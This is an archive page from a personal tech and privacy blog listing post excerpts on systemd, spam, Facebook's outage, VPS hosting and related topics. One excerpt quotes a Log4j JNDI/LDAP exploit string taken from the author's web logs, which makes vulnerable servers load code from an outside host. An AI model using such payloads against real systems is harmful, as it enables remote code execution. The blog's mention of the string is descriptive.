Author's posts

systemd free

Way back in February of this year when I concluded my rant about systemd I said: “Given that Ubuntu is tied closely to systemd and will be implementing the ridiculous systemd-homed.service shortly, and that Mint is based on Ubuntu and will perforce probably follow, I have now given up on Mint and moved to another …

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Permanent link to this article: https://baldric.net/2022/10/09/systemd-free/

no systemd

I have mentioned before that I really, really, really do not like systemd. Whilst it remained a simple replacement for init (albeit with some peculiarites) I could put up with it so long as it didn’t get in my way, or my way of working. After all, if all the major distro developers were convinced …

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Permanent link to this article: https://baldric.net/2022/02/03/no-systemd/

why reykjavik?

For some time now I have been getting spam about property sales. Almost all of the ones that get through (I edit my spam filters to stop the bulk of them) take the form of offering me the chance to buy in to “off-plan developments” in various places, some in the UK, others in obvious …

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Permanent link to this article: https://baldric.net/2022/02/02/why-reykjavik/

trivia’s birthday

My old friend Rob has just messaged me to question why I missed noting trivia’s birthday this year (born 24th of December 2006, so now an astonishing 15 years old and almost eligible to vote). So this is for you Rob. No, I haven’t forgotten. and no I am not dead. Happy New Year to …

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Permanent link to this article: https://baldric.net/2021/12/29/trivias-birthday/


I guess that there are a lot of busy sysadmins around at the moment. My web logs are full of crud like: “GET /$%7Bjndi:ldap://123.345.567:789/Exploit%7D” and much lengthier entries trying to exploit the log4j vulnerability. In my case (and for this instance) I’m not that bothered because, luckily, I don’t run Apache, or any of its …

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Permanent link to this article: https://baldric.net/2021/12/17/log4j/

rebranding may not work

Facebook as SPECTRE

El Reg has commented on Facebook’s announced intention to rebrand itself in much the same way that Google introduced a new overaching company named Alphabet. In typical Reg fashion they have asked the readership what they think would be the best name. The results currently favour SPECTRE by some large margin. As usual, the Reg …

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Permanent link to this article: https://baldric.net/2021/10/22/rebranding-may-not-work/

zuck off facebook

Or how to block the entire Facebook network. In my last post on Facebook’s misfortunes I mentioned that my wife initially blamed me, assuming it was just local and that I had made some new change to my local network configuration. Now whilst I do actually bin some of Facebook’s more annoying subdomains (such as …

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Permanent link to this article: https://baldric.net/2021/10/15/zuck-off-facebook/

I know I shouldn’t laugh

But in what looks to me very like a DNS snafu, Facebook, Whatsapp and Instagram all disappeared today for a huge swathe of users from around 16.20 UK time. Downdetector shows: (I love that big red button in the middle of the page which says “I have a problem with Facebook”. Yes I do, and …

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Permanent link to this article: https://baldric.net/2021/10/04/i-know-i-shouldnt-laugh/

dirty laundry

I have lately been reading Charlie Stross’s excellent Laundry Files series. In that series, the main protagonist is Bob Howard, one time sysadmin for the Department of Transport, since recruited by the “Laundry” which is that part of HMG’s Security Service which deals with countering Occult Threats. Bob’s IT skills are wide, deep and varied …

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Permanent link to this article: https://baldric.net/2021/09/09/dirty-laundry/

check2ip gone

image of check2ip.com page

For many years now I have used check2ip to, well, check my IP address. That service on a single page on the net gave me a quick snapshot of my current address and the DNS servers I was resolving against. I used it because I have a bunch of VPNs (and usually route my traffic …

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Permanent link to this article: https://baldric.net/2021/09/06/check2ip-gone/

stop starttls

I have been a subscriber to Hanno Böck’s Feisty Duck TLS Newsletter for some time. Böck’s newsletters provide a useful service to TLS users. I am also a big fan of Ivan Ristić’s “Openssl cookbook” which is available as a free download from the Feistyduck website. A couple of days ago the latest Feistyduck newsletter …

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Permanent link to this article: https://baldric.net/2021/09/04/stop-starttls/

nothing to hide, nothing to fear

I recently came across this rather nice (spoof) NSA site describing the work of the Agency’s “Domestic Surveillance Directorate”. That Directorate supposedly exists to protect the citizen from the usual suspects (terrorists, paedophiles, criminals) and is tasked with data collection and analysis to support that end. The site says: “Our value is founded on a …

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Permanent link to this article: https://baldric.net/2021/05/27/nothing-to-hide-nothing-to-fear/

fastboot oem get_unlock_data hangs on moto g7 plus

I am posting this in the hope it may help others who find themselves in a similar position to myself. I have recently upgraded my mobile ‘phone (from a Motorola Moto X4) to a Moto G7 plus. I chose this particular phone because I like Motorolas. I like the fact that they are relatively cheap …

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Permanent link to this article: https://baldric.net/2021/05/15/fastboot-oem-get_unlock_data-hangs-on-moto-g7-plus/

is it me?


I found this on flipboard. Take a look at the headline. Oh yes indeed. My browsing will be so much more private if I pass everything through a google VPN.

Permanent link to this article: https://baldric.net/2021/05/02/is-it-me/

RIP Dan Kaminsky

I learned today that Dan Kaminsky died on Friday 23 April of complications arising from his diabetes. (I would probably have learned earlier if I followed twitter, but I don’t.) He was only 42. I met Kaminsky at an MSRC Bluehat Forum in 2009. He was only 30 at the time, but already widely respected, …

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Permanent link to this article: https://baldric.net/2021/04/29/rip-dan-kaminsky/

villainous spam

Or a spammer with a sense of humour. I have very recently been hit by a spate of new spam asking me to sign up to save on a new mortgage, or change my car insurer or meet attractive asian ladies amongst other such enticements. They are all blocked now because, despite using different domain …

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Permanent link to this article: https://baldric.net/2021/04/05/villainous-spam/

Stallman and Tor

This may be controversial. Yesterday, a member of the Tor relays mailing list posted the following to the list: “I’ve been running a relay/exit node for many years. Tor user since ~2004. To the extent that my voice means anything at all here, I would like to strongly condemn the Tor project joining the attempt …

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Permanent link to this article: https://baldric.net/2021/03/26/stallman-and-tor/

irony bypass

Foreign Secretaries may come and go, but their inability to spot irony seems to be consistent. Back in February 2014 I commented on William Hague’s apparent concern about press restrictions in Egypt at a time when the Guardian newspaper in the UK was reporting on the threats of Legal Action they had received from the …

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Permanent link to this article: https://baldric.net/2021/03/23/irony-bypass/

filling the void

Mark Pesce wrote a column in El Reg this week relating the story of how a friend of his had stumbled upon an example of the phenomenon noted by social media researcher Danah Boyd and Microsoft’s Michael Golebiewski as a “data void”. The particular void that Pesce’s friend had entered was around details of the …

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Permanent link to this article: https://baldric.net/2021/02/12/filling-the-void/

no spy cameras

I have written in the past about some of the persistent requests I get for guest posts or sponsored links on trivia. I suppose I should be flattered that some people seem to think that trivia has a wide enough readership to make that sort of thing attractive (to either party), but I’m not. As …

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Permanent link to this article: https://baldric.net/2021/01/31/no-spy-cameras/

Merry Christmas 2020

Shit – what a year. But let’s not go into all that. I’m a little early with this post this year. I normally mark trivia’s birthday (Dec 26th) on the day itself. This year I may not actually wish to even leave the duvet on Boxing Day so I thought I’d take the opportunity today …

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Permanent link to this article: https://baldric.net/2020/12/20/merry-christmas-2020/

VPS comparison

My last post highlighted the astonishingly good deal I have just had from racknerd. I’ve been running VPS systems for some time now so I thought I would look back over my archived email to see what I could find about my earliest experiences. I found an invoice for a system I first rented back …

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Permanent link to this article: https://baldric.net/2020/12/01/vps-comparison/

an even bigger bargain VPS

racknerd screenshot

At about this time last year I wrote about my impressively cheap new VPS on ITLDC’s network in Prague. Prices of VPSs continue to come down and I now have several dotted around Europe which each cost me around three euros per month. But I am always on the lookout for a new provider and, …

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Permanent link to this article: https://baldric.net/2020/11/30/an-even-bigger-bargain-vps/

from russia with malintent

Just to prove that ‘bots really are stupid, my last post below has just been hit by a spam bot. And this is what whois has to say about the source address: inetnum: – netname: WEBSTREAM descr: OJSC “Sibirtelecom” remarks: Kemerovo branch of the OJSC “Sibirtelecom” remarks: broadband service country: RU remarks: Direct …

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Permanent link to this article: https://baldric.net/2020/11/18/from-russia-with-malintent/